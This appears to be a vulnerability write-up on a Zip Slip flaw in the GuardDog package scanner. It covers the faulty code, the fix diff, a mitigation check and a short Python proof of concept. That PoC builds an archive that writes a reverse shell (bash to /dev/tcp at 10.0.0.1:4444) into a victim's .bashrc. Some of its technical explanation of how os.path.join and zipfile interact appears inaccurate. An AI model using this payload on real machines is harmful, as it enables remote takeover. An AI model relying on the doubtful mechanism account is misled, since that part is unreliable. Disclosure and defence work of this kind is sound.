Feb 20, 2026·5 min read·14 visits
GuardDog < 2.7.1 contains a Zip Slip vulnerability. Scanning a malicious package allows the attacker to overwrite files (like ~/.bashrc) on the researcher's machine, leading to RCE.
GuardDog, a popular tool for identifying malicious PyPI packages, suffered from a critical path traversal vulnerability. Ironically, scanning a weaponized package could result in the researcher's machine being compromised via Arbitrary File Overwrite and Remote Code Execution (RCE). The flaw stemmed from improper usage of Python's `zipfile` library.
There is a special place in the inferno of irony for security tools that become the very attack vector they were designed to prevent. Enter GuardDog, a CLI tool by DataDog used by researchers and CI pipelines to identify malicious PyPI packages. Its job is to sniff out bad code in the supply chain.
But prior to version 2.7.1, GuardDog had a nasty habit: it would blindly obey the directory structure of the packages it scanned, even if that structure meant writing outside the sandbox. This is the digital equivalent of a bomb disposal robot that detonates because it followed the "Press Here" sticker on the IED.
If you are a security researcher analyzing malware, or a DevSecOps engineer running GuardDog in your CI/CD pipeline, this vulnerability (CVE-2026-22871) meant that simply looking at a malicious package could compromise your entire system. The hunter becomes the hunted.
The vulnerability is a textbook implementation of Zip Slip (CWE-22), but with a twist. Usually, Zip Slip happens when developers use extractall() without sanitizing member names. In this case, the developer actually used the singular extract() method, which is generally safer because it handles some sanitization internally.
However, the developer tried to be helpful. Instead of letting the library decide where to put the file relative to the target directory, they manually constructed the absolute path using os.path.join before passing it to the library.
Here is the logic fail: Python's zipfile.extract(member, path) expects path to be the directory where the file should go. If you pass it a path that has already resolved .. sequences (which os.path.join does on the file system level), the library looks at it and says, "Okay, you want me to extract this file to /home/user/.bashrc? You're the boss!" It effectively bypassed the library's internal checks by feeding it a pre-poisoned path.
Let's look at the diff in guarddog/utils/archives.py. This is a masterclass in how one line of "explicit" code can destroy your security model.
The Vulnerable Code:
# The dev manually joins the target dir with the potentially malicious filename
# BEFORE passing it to zip.extract.
zip.extract(file, path=os.path.join(target_directory, file))If file is ../../../../etc/passwd and target_directory is /tmp/scan, os.path.join resolves this (depending on the OS and context) or simply constructs a path that the zipfile library interprets as the destination root. The library thinks the entire path is the output directory.
The Fix (Commit 9aa6a72):
# The fix is to stop helping. Just tell the library WHERE to extract,
# and let IT handle the filename sanitization.
- zip.extract(file, path=os.path.join(target_directory, file))
+ zip.extract(file, path=target_directory)By passing only target_directory, the zipfile library takes the malicious filename ../../foo, strips the directory traversal characters (sanitizing it to just foo), and extracts it safely inside target_directory.
Exploiting this is trivial and requires no sophisticated memory corruption—just a malformed zip file. Standard zip tools often prevent you from creating archives with ../ in filenames, but we're hackers; we write our own zip headers.
The Attack Chain:
../../../../../../home/ubuntu/.ssh/authorized_keys (or .bashrc for persistence).guarddog scan malicious-pkg.zip.import zipfile
# Quick PoC Generator
zf = zipfile.ZipFile('exploit.zip', 'w')
# This file breaks out of the scan dir and drops a shell
zf.writestr('../../../../../home/victim/.bashrc', 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1')
zf.close()This is rated Critical (CVSS 9.8) for a reason. While GuardDog isn't a long-running service exposing a port to the internet, it operates in high-trust environments.
CI/CD Poisoning: Many organizations run GuardDog in their CI pipelines to prevent supply chain attacks. If an attacker submits a PR that triggers a GuardDog scan, this vulnerability allows them to break out of the scan container, steal AWS credentials from the environment, or poison the build artifacts of the legitimate application.
Researcher Compromise: Security researchers are the primary user base. Compromising a researcher's machine often grants access to other sensitive vulnerabilities, private keys, and restricted networks. It is a high-value target for sophisticated actors.
The fix is straightforward: Update GuardDog to version 2.7.1 immediately. If you are using GuardDog in automated pipelines, force a rebuild of your container images to ensure the new version is pulled.
For developers writing file extraction logic:
zipfile module's built-in protections, or better yet, verify the canonical path of the destination:dest_path = os.path.join(target_dir, member_name)
if not os.path.abspath(dest_path).startswith(os.path.abspath(target_dir)):
raise Exception("Zip Slip attempt detected!")CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
guarddog DataDog | < 2.7.1 | 2.7.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-22 (Path Traversal) |
| CVSS v3.1 | 9.8 (Critical) |
| Attack Vector | Network (Malicious Package) |
| Impact | RCE / Arbitrary File Overwrite |
| Affected Component | guarddog.utils.archives.safe_extract |
| EPSS Score | 0.63% |
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')